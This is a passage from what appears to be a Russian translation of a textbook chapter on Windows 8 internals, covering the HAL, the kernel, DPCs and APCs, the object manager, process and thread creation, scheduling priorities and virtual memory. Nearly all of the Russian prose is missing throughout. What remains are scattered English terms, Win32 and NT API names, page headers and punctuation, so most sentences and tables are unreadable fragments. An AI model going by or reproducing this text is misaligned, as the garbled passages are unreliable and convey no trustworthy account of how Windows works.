Windows Hyper-V.
( . 11.4 ). Windows, .
, ,
, .
, Windows (partition).

. , , , .
.

954

11. : Windows 8

. 11.4. Windows

( root) . () .

,
. Hyper-V
Windows, , Linux.
, ( ) .
, ,
, - , -,
, ,
, . ,
, ,
.
BIOS ,
EEPROM ( ).
. Windows ,
NTOS HAL. ,
, DRM
(Digital Rights Management ),
, . .

11.3.

955

- ( )
NTOS HAL.
- , ,
,
. SYSTEM . Plug-and-Play
-
HARDWARE, , ,
.
.

HAL ( )
Windows
. ,
, . , .
(
,
), ,
, ( ).
NTOS ,
( 2 % 86 1 %
64). 86,
ARM, , (
).
( )
,
, . (
)
( , ).
(
)
. , NT
. NT compare&swap,
, . ,
. , NT,
.

( ).
(,
-). , -

956

11. : Windows 8

, -,
DMA,
, , , ACPI
(Advanced Configuration and Power Interface
), . . Microsoft

HAL ( ).
HAL
, ( , ). HAL
( ),
NTOS.
HAL

(
).
HAL -,
, , .
, HAL (
). HAL ,
:
HAL. Microsoft HAL
Development Kit,
HAL,
( , ).
, HAL, - -.
, . : -
? ,
, HAL
:
uc = READ_PORT_UCHAR(port);
us = READ_PORT_USHORT(port);
ul = READ_PORT_ULONG(port);

WRITE_PORT_UCHAR(port, uc);
WRITE_PORT_USHORT(port, us);
WRITE_PORT_LONG(port, ul);

8, 16 32-
. - ,
HAL. , ,
.
-.
. (PCI, PCIe, USB, IEEE 1394 . .),
,
. HAL

11.3.

957

(
). , ,
.
.
. HAL
,
, , - ,
.
HAL.
HAL DMA
. DMA,
DMA -.
. HAL / (
).
HAL .
100 , 1 1601 ,
, . ( : 1800 ? : .)
, .
, . HAL
(, ), , , ,
.
, HAL (BIOS)
, , .
. . 11.5 , HAL.

. 11.5. , HAL

958

11. : Windows 8

HAL NTOS, : . Windows .
, .
ntoskrnl.exe, NTOS Windows. NTOS (
).
kernel32.dll (
) Win32.
Windows ( . 11.4 ) .
,
, . ( ) .
.
,
( ).
,
. , , ( ),
, - ( -
), ,
( ).
.
( ).
( ) , ,
,
.
( ).

: . (control objects)
,
. ,
, . (dispatcher
objects) ,
.

- , , , , , -

11.3.

959

DPC APC. DPC (Deferred Procedure Call

) ISR (Interrupt Service
Routines ),
. , ISR-,
.
.
. , ,
. (
) 0.
3 , ISR
, (
).
ISR ,
, , ,
- . ISR,
ISR
.
ISR ,
-
. ,

. DPC
, ISR , DPC DPC
. DPC ,
2 (
NT DISPATCH).
ISR, 2,
DPC. ISR DPC DPC
( ).
ISR. UNIX
1970- ( ,
). ISR
.
, ISR
(,

, ).
Windows .
ISR ,
, . DPC
( ,
).

960

11. : Windows 8

DPC 2, ISR ,
,
DPC 2.
ISR DPC.
, ISR DPC ( ,
).
DPC .
( )
( ).

APC (asynchronous procedure
call ). APC DPC , , DPC,
,
. , DPC,
DPC ,
( ).
DPC , . - ,
- , -
, (
, ).

. ,
, UNIX.
- , - ( ). ,
,
, . ,
( ).
DPC.
- ,
-.
, ,
.
, ,
ntdll.dll.
,
-. -

11.3.

961

- QueueUserAPC Win32
API .
(
-). ,
, , .
, , ,
. ( )
,
.

.
( ),
(. 11.6).

. 11.6. dispatcher_header
( )

, , , ,
. , , ,
IPC. , , , .
(, ) . , , ,
. , - , ,
, , .
Windows
, API (, wait3, UNIX
) .
. UNIX (
select) 64 . Windows
API WaitForMultipleObjects,
( ). WaitForMultipleObjects

962

11. : Windows 8

64 , -.
,
( -).
,
, . (notification object)
. (synchronization objects)
, ( ).
,
.
, ( ).
dispatcher_header.
: Windows ,
OS/2,
,
.

. 11.4, NTOS .
, ( )
(MIPS, x86, PowerPC, Alpha, IA64, x64
ARM). ,
, .
.

,
. ntoskrnl.exe, ,
. Microsoft
, - (-, , ,
. .).
, Windows , ,
,
,
(,
MMU).
.
- , -

11.3.

963

. ,
,
, .
,
, ,
( ,
).
, .
( ),
, .
(object manager)
, . , , ,
, -, .
, , . Windows
,
.
:
, ,
, , NT,
.
, , .
,
, .
- , .
API . Windows,
.
- (I/O manger)
-
, . Windows ,
. , , Windwos ( ).
Windows
(
).
Windows ( 1 ).
, . ,
,

964

11. : Windows 8

. (Blue Screen Of Death

(BSOD)), , Windows
. BSOD ,
(kernel panic) UNIX.
, Microsoft ,
(, MINIX 3 L4) :
, .
70 % , ( ,
), . .
- Plug-and-Play
. Plug-and-Play , . Plug-and-Play.
( Plug-and-Play ),
.
, . ,
, .
- , 11.7, NTNTFS 11.8.
,

. , ,
. ,
, , .
11.9.
(process manager)
, . , ,
(, ). , ,
, ,
. , (, ). 11.4.
(memory manager)
. ,
, , , .
(,

11.3.

965

)
(, ). 11.5.
(cache manger) - (
). ,
. , UNIX, .
.
.
, ,
( ). - ,
.
11.6.
(security reference monitor)
Windows, , Common Criteria (
).
,
(, , ,
). ,
. Windows
.
11.10.
,
. (configuration manager) , ( ).
, .
SYSTEM, .
( -,
),
. , - ,
.
LPC , .
, (RPC)
- . RPC
TCP/IP.
LPC Windows 8 ( ALPC Advanced
LPC LPC)), RPC ( RPC ,
). LPC NT,
-

966

11. : Windows 8

( ) , ,
( Win32 POSIX).
Windows 8 - WNF (Windows
Notification Facility Windows). WNF-
WNF. ()
( 4 ) , (,
).
. ,
.
WNF ,
, IPC , . ,
.
WNF
IPC: .
, , .
, ,
, , ,
. ,
- ,
, ,
, . WNF NT API- ()
Win32.
API- Win32 WinRT.
Windows NT 4.0 Win32
,
. csrss.exe, Win32.
(win32k.sys).
Win32,
( LPC).
, ,
, .

. 11.4 (device drivers).
Windows , NTOS.
(,
-), -

11.3.

967

. , Win32 .
-
(. 11.7). (sevice stack)
(device
objects) . , ( -, ).
,
(filter) - ( ,
). . -
,
,
.
,
RAID.

. 11.7. NTFS.
- .
. ,

968

11. : Windows 8

.
,
.
( ). ,
(file system filter drivers),
(
- ,
).
(, IPv4/IPv6 Windows) ( -).
Windows MS-DOS TCP/IP ( - Windows).
, , Windows -
(mini-ports). .
, SCSI IDE, USB-
, -
.
, 11.7 -
.

11.3.2. Windows
,
. , , .
,

(flashing). ,
. , . ,
BIOS (Basic Input/Output System -),
UEFI (Unified Extensible Firmware Interface ). UEFI BIOS
, ,

, ,
.

,
. Windows , ,
Windows- BootMgr. BootMgr ,
( ,
). , BootMgr -

11.3.

969

WinResume.exe. WinLoad.exe
. WinLoad
: ( ntoskrnl.exe), HAL
(hal.dll), SYSTEM , Win32k.sys (
Win32), ,
SYSTEM (boot drivers) ( , ).
Hyper-V, WinLoad .
Windows NTOS, HAL,
, ,
SYSTEM ( ).
( smss.exe, /etc/
init UNIX).
Windows
. (Trusted Platform Module (TPM)),
.
, ,
. TPM
, , BitLocker
. ,
TPM , .
,
,
.
Windows .
regedit ( SYSTEM)
.

. : (safe-boot),
,
(recovery console), cmd.exe,
, UNIX.
: ,
Windows, , ,
. (Microsofts On-line Crash
Analysis) , , Windows Vista
. ,
x86 (),
,
(
).

970

11. : Windows 8

11.3.3.
, ,
Windows, .
,
, , ,
, , , . (, , ,
Win32) . - (
NT ).
Key . , NT
. , ,
.
.
,
. .
, .
NT ( ).
(
)
( WaitForMultipleObjects). (ACL),
, .
( )
.
, , () , .
. ,

, , .
, ,
, ( ) .
, ( ).
( ) (
).
NT.
NT.
(. 11.8). , . , ( NT),
,
(ACL) .

11.3.

971

. 11.8. ,

( ) ,
. ( malloc) ,
, c . ,
2 ( ).
ISR DPC ( ), . ,
( ).

, ( LIFO )
. ,
.
,
. ,
. ( , ) (
).
, (- ). ( )
( ).
, .
, . , ,
, , ,

972

11. : Windows 8

. Windows,

(,
).

, , (referenced pointers).
, .
, .
, ,
, .

, .
- ( ). Windows (handles, ). ,

. . 11.9 ,
. .
, ,
, .

. 11.9. (
512 )

. 11.10
( ).
(
). ,
.
,
.

11.3.

973

,
,
.

. 11.10. (
16 )

( Win32, CreateSemaphore
OpenSemaphore). ,
.
, , 64-
, (
). 32- ( ). 64-
32- .
29- . 3
(, ). 3 . 32-
. ,
. ,
0,
( ).

( ). ,
,
(,
). ,
( , ; ; ,
NT).

974

11. : Windows 8

, NT (
). ( ) , ,
.
NT , . ,
( Parse). Parse ,
(. 11.8).
11.8. ,

Open

Parse

Close

Delete

Security

OueryName

Open ,
, , NULL
.
Close Delete .
,
( Close). , Delete,
.
-,
, . -,
( ).
Parse (
), NT.

, , ,
Parse. , , . ,
, .
Parse -,
- ( ,

11.3.

975

,
). .
QueryName , . Security , .

.
, , . 11.8,
, (
), . ,
.
API-, , .
, NtReadFile NtWriteFile,
, , ,
, .
, , ,
, NtClose ( ,
).

, ,
.
winobj,
www.microsoft.com/technet/sysinternals.
, . 11.9
( ).
11.9.

\??

MS-DOS :

\DosDevices

\??,
\??

\Device

\Driver

\ObjectTypes

(, . 11.12)

\Windows

Win32

\BaseNamedObjects

Win32, ,
. .

976

11. : Windows 8
11.9 ()

\Arcname

\NLS

\FileSystem

\Security

\KnownDLLs

\?? MS-DOS,
: ( -) : ( ).
\Device,
. \?? , (
, ).
.
,
. ,
, ( )
. ,
(
).
,
. Windows .
,
, , (,
).
( ).
, NT API, Win32 API
. , ,
, ;
; ,
, .
, Windows API , API (
NtClose).
- , .
( ).

11.3.

977

, Windows (application verifier),

Microsoft.
( 11.7),
( , ).
FIFO ,
( LIFO, ).

( ).

. -,
.
,
,
- (
).
, , ,
, ( ).
,
( UNIX). Parse, (. 11.11).
1. (, NtCreateFile -) ObOpenObjectByName , (
Unicode) NT (, \??\C:\foo\bar).
2.
, \??\C: (, -).
, .
3. Parse
IopParseDevice, -.
( :), (\foo\bar).
4. - IRP (I/O Request Packet ), ( ,
).
5. IRP -,
, :.
, .
CREATE, \foo\bar ).

978

11. : Windows 8

6. IRP
, - ,
.
( ).
7. (, NTFS). ,
CREATE NTFS.
8. NTFS -,
( ,
IopParseDevice . 11.8).
9. .
Parse (
, , ).
,
.
10. ( ),
CreateFile Win32 API.
.

. 11.11. -

,
ObCreateObjectType .
, . Windows . 11.10.
.

11.3.

979

11.10.
( )

Process ()

Thread ()

Semaphore ()

Mutex ()

Event ()

( )

ALPC Port ( ALPC)

Timer ()

Queue ()

,
-

Open file ( )

Access token (
)

Profile ()

Section ()

Key ()

( )

Object directory (
)

Symbolic link ( )

Device ()

- ,
,

Device driver (
)

.
, (
). (, ) . ,
(,
-). : . , , .
, , -
,
( ),

980

11. : Windows 8

( ).
,
( ).
, . ( LPC). . ( KQUEUES) ,
- , ,
.
, , .
.
, . . ,
( ).
,
( , ).
,
.
( ),
( ).
. ( \REGISTRY),
NT.

NT, .
:
.

.
( )
,
. , ( ) .
,
, .
( )
( , Win32).

11.3.4. , DLL

. 11.2, , Windows
.
-

11.3.

981

, Windows :
, DLL .
Windows; , NT

( ). ,

( VMS Berkeley UNIX VAX
DEC). , , , Microsoft
, OS/2 (
). OS/2 , Win32 API (
Windows 95) .
Windows (Dynamic Link Library (DLL)), ,
(
).
, .
Windows DLL, ntdll.dll
( )
( ), ,
.
DLL (
), (
), (
, ).
, , ,
(-
), Windows DLL (DLL hell).
DLL . , ,
IAT (Import Address Table
). ,
DLL, ( ,
DLL DLL, ). DLL
, IAT .
. :
DLL
, DLL . , Windows DLL
, . -
,
, DLL attach

982

11. : Windows 8

. - attach
DLL, ,
.
DLL .
(hosting) . Internet Explorer DLL, ActiveX
(ActiveX controls). - , .
Microsoft Office DLL , Office .
(omponent bject Model ) ,
, ()
DLL , .
, DLL,
DLL ( Microsoft
side-by-side).
,
Windows ( ).
.

. Microsoft .
.
, , ,
, . Windows
.
, ,
, . ,
,
.
,
.
.
, ,
( ).
, .
( )
, .

, ( Windows
ALPC).

11.4. Windows

983

, ( ).
Singularity Microsoft Research (Fandrich et al., 2006) ( C# Java) ,
.
.
Windows .
. lsass.exe,
, (
),
. Plug-and-Play
(
), . (,
)
.
Windows taskmgr.exe ,
. (svchost.exe) . Windows (
). ,
.

DLL. Win32,
.
,
( TCP/IP
IP Security), ( RPC ).
Windows .
( ,
, , ).
Windows ( Windows Server).

11.4. Windows
Windows . Win32 API, , .

11.4.1.
Windows . , , .
, -

984

11. : Windows 8

, ,
, (
), .
, PEB (Process Environment Block
). (EXE DLL), , ,
( Win32,
).
Windows. ( ).
(affinitized),
. ,
, . :
, .
TEB (Thread Environment Block ),
, (Thread Local Storage) Win32, ,
, .
, , (user shared data). , , .
, ,
, , ( ,
, , ).
,
.
, ,
(, )
. (, )
( ),
, , .
, , ,
.

,
, .
,
, ,
, ,
. , UNIX, UNIX Windows.
UNIX 16- , .

11.4. Windows

985

fork
.
( ) . fork UNIX

. .
, NT
32- , 1 16 .
, NT
, ( ).
, , ,
. 64- ( )
.
.
, , , , ( )
. ,
- ,
, ,
(
). Windows UNIX
, , .

Windows , ,
,
(restricted token),
. ( ) , ,
, ( )
. . ,
, .
(). ,
,
. ,
,
( ). , , (
), ,
(

). Windows .

986

11. : Windows 8

Windows , . , ,
, .
. 11.12 (jobs), (processes),
(threads) (fibers). . .
.
--.

. 11.12. , , .
:

( , ).
,
. ,
SwitchToFiber ( ).
, , ( ).
,
, .
.
( ).
,
( ).
, ,
(
).
,
-- ( ). . Win32
, ,
, .
, , , ,
, () -

11.4. Windows

987

, .
(
, ).

Win32 Windows, .
,
, .
, .
, .
, .
(
) (
). Windows
Win32, API-
.
, -
. , ,
,
, . , -
, .
, , .
,
-,
, ,
. , ,
- ,
, .


.
, Windows-
: .
UNIX.
,
. ,
.
, , ,
. ,

988

11. : Windows 8

,
.

, ,
.

. Windows 7 Microsoft UMS (User-Mode Scheduling ),
. UMS , , scheduler activations
( ). ,
, Win32,
Win32.
UMS :
1. :
. , UMS
.
2. : , UMS ,
.
, .
3. :
- ,

,
.
UMS
Windows. UMS
,
, . , .
. 11.11.
11.11. ,

AppContainers

11.4. Windows

989

, . ,
, . , (, , . .), .
Win32, ,
.
, , (
).
, (
, ).
. 11.9 11.10
. ,
(
). Windows
FIFO () , .
.
, ,
, . : , .
, .
CONTEXT (
). , CONTEXT
. CONTEXT
, .
,
( - )
( ), -

990

11. : Windows 8

. (
, .)
-. -,
- . ,
. - . , .
, ,
. , . , ,
Win32. ,
- , ( ) . , .
,
( ).
, (
) Windows ,
.
,
(system process). . , ,
.
,
. (,
), (
, , -
).

11.4.2. API ,
,
CreateProcess Win32 API.
.
, ( )
. , ,
, , . ,
.

,
.
Win32 , ( ,
).
,
UNIX:

11.4. Windows

991

1. Win32, UNIX .
2. UNIX, Windows
. Windows
( , UNIX,
, ).
3. UNIX , Win32 .
(, *.txt ) -.
4. UNIX . Windows , .
5. Win32 ,
(
UNIX
).
6. Windows SETUID,
, (
).
7. Windows
, ,
. UNIX
fork exec ,
exec .
, . UNIX , Windows
. UNIX PATH. Windows MS-DOS
.
, Win32 NT,
system fork exec UNIX. NT (NtCreateProcess
NtCreateThread) , Win32. NT (
), (,
) (
). ,
, .
POSIX

( ).

992

11. : Windows 8

fork POSIX ( Win32).

POSIX Windows , ,
, fork exec UNIX.
.
, ,
, ,
( - NtResumeThread
).
argv/argc (
API ).
Windows Vista API ,
NtCreateUserProcess,

. .
. (
) . NtCreateUserProcess
, ,
,
,
. , ( ),
, ,
, . ,
,
, , .

, , , , , ,
. : ( ).
, UNIX. ,
, 128
128 ( 512 ,
).
, .
( ).
(mailslots) OS/2, Windows . ,
. , ( ).
, . ,
( ). ,
Windows , . -

11.4. Windows

993

.
(sockets) , ,
. , , (
) .
,
 , ,
. Berkeley UNIX,
. Berkeley
Windows ( ,
).
RPC ( ) ,

. . , , . RPC
. Windows
TCP/IP, ALPC. ALPC (Advanced Local Procedure
Call ) .
.
, (
, RPC
, , ALPC). ALPC
( ).
, .
,
( ). , ,
.
,
.

.
Windows ,
( ,
, ).
( ), ,
( ) .
CreateSemaphore Win32
API, . , .
DuplicateHandle (
).

994

11. : Windows 8

Win32, ACL .
, .
up down, :
ReleaseSemaphore ( up) WaitForSingleObject ( down). WaitForSingleObject, ,
0 ( ).
WaitForSingleObject WaitForMultipleObjects
( 11.3). API
, ,
(
, -,
).
, ,
, . ,
API (WaitForSingleObject)
(ReleaseMutex). , ,
.
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. Windows ,
, . ,
.
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, .
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,
.
.

, (events). ,
: (notification events)
(synchronization events). : .
WaitForSingleObject.
SetEvent, . , ,
ResetEvent.
,
. PulseEvent, SetEvent (
, , ). SetEvent ( )

11.4. Windows

995

,
( API ) .
Win32 API ,
100 ,
IPC.
Windows ,
WaitOnAddress InitOnceExecuteOnce. WaitOnAddress . WakeByAddressSingle, WakeByAddressAll,
, , WaitOnAddress
. API
, .
, ,
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. ,
. ,
. 11.12.
11.12. Win32, ,
Win32 API

CreateProcess

CreateThread

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ExitProcess

ExitThread

ExitFiber

SwitchToFiber

SetPriorityClass

SetThreadPriority

CreateSemaphore

CreateMutex

OpenSemaphore

OpenMutex

WaitForSingleObject

, . .

WaitForMultipleObjects

PulseEvent

ReleaseMutex

996

11. : Windows 8
11.12 ()

Win32 API

ReleaseSemaphore

EnterCriticalSection

LeaveCriticalSection

WaitOnAddress

WakeByAddressSingle

WakeByAddressAll

InitOnceExecuteOnce

, . ,
, Win32 NT API. ( )
, , ,
Windows .
.

11.4.3.
, Windows
( ). Win32 , . API ( ).
.
, , .
, CreateProcess
Win32. ( ) kernel.dll,
NtCreateUserProcess ,
:
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Win32 NT. (
), ,
( ,
PATH, ).
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) NtCreateUserProcess.
3. , NtCreateUserProcess ,
, -

11.4. Windows

997

.
4. (
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).
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. self-map 11.5.
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.
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Block (PEB) , ,
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(DLL).
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.
11. . Thread Environment Block (TEB).
CONTEXT, ( ).
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).
13. NtCreateUserProcess
, , , .
14. NT API , Win32 ,
(, WOW64). , ,
.
CreateProcess.

998

11. : Windows 8

15. NtCreateUserProcess , -. Win32 csrss.exe Win32.

Kernel32.dll csrss,
( , ).
(
Win32).
( ), , - , . (
), ( )
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.
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,
.
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,
.
Windows ,
API- NT,
. ,
, , ,
DRM .
API- NtCreateProcess - , ,
.

Windows . ,
, , ,
.
:
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11.4. Windows

999

CONTEXT .
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, ( 1).
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.
: real-time, high, above normal, normal idle.
.
,
, , . , ,
(
, ).

1000

11. : Windows 8

Win32 API SetThreadPriority.

(, , ) . : time critical, highest,
above normal, normal, below normal, lowest idle. time critical
, idle (
).
, (+2, +1, 0, 1,
2 ).
.
. 32 0 31. 32 ( . 11.13).
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(current priority), (
) .
11.13. Win32 Windows

Win32

Win32
Real-time

High

Above
Normal

Normal

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Normal

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31

15

15

15

15

15

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26

15

12

10

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25

14

11

Normal

24

13

10

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23

12

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22

11

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16

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. 31 0.
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.
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.
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( ). , ,
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11.4. Windows

1001

, .
,
, .

(ideal processor) ( ). , , ,
.
,
(
, ). NUMA (NonUniform Memory Access).
.
NUMA, ( ).
. 11.13. ,
: real-time, user, zero idle (
1). . 1631
,
, ,
.
( DPC ISR). ,
, DPC ISR (
).

. 11.13. Windows Vista 32

1002

11. : Windows 8

. , , ,
, ,
, .
.
.
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. (ZeroPage)
0 .
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11.5.

1003

. 11.14.

, , , ( , ,
).
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(priority inversion).
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Autoboost , ,
.
Windows , . Windows
terminal server, using RDP
(Remote Desktop Protocol ) .
,
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Fair-Share Scheduling ),
. DFSS
(scheduling groups).
, Windows,
, . ,
,
.

11.5.
Windows .
Win32,

1004

11. : Windows 8

NTOS. , Win32, .

11.5.1.
Windows
. 86 32 ,
4 , 2 . x64
, .
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.

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64 .
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11.5.

1005

, ).
.
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.
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). ,
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).
.

: , . (invalid
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( - ).
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,
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. ,
( ,
). ,

1006

11. : Windows 8

,
, .

, .
(pagefile). ,
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:
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). , ( ).
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,
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.

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11.5.

1007

.
( ).
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,
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).
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,
. ,
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. ,
( ).
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,
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).
.
.
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1008

11. : Windows 8

NT, (
), .

11.5.2.
Win32 ,
.
. 11.14. ,
, ,
. , ;
,
.
11.14. Win32
Windows
Win32

VirtualAlloc

VirtualFree

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(//)

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( )

VirtuelUnlock

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()

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( )

UnmapViewOfFile

OpenFileMapping

API , , . 64 (
, ).
64 ,
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,
. ,
. , .
, (
). . 11.14, Windows
API,
, (. . 11.4).
API .
(. . 11.10) CreateFileMapping. -

11.5.

1009

( ) ()
Win32, .
( ).
API ,
( CreateFileMapping),
. ,
. .

11.5.3.
86 Windows ( )
4 ( ). .
( 64 ). x86 4 . ,
4
(Translation Lookaside Buffer (TLB)) . 2
( TLB
,
TLB).

. 11.16. .
lib.dll

1010

11. : Windows 8

, , . , ( )
, .
( . 11.16
), VAD (Virtual Address Descriptor),
,
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).
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Windows , EXE
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11.5.

1011

.
( )
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, (invalid),
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Intel x86 AMD x64

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, 86 x64,
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1012

11. : Windows 8

4. .
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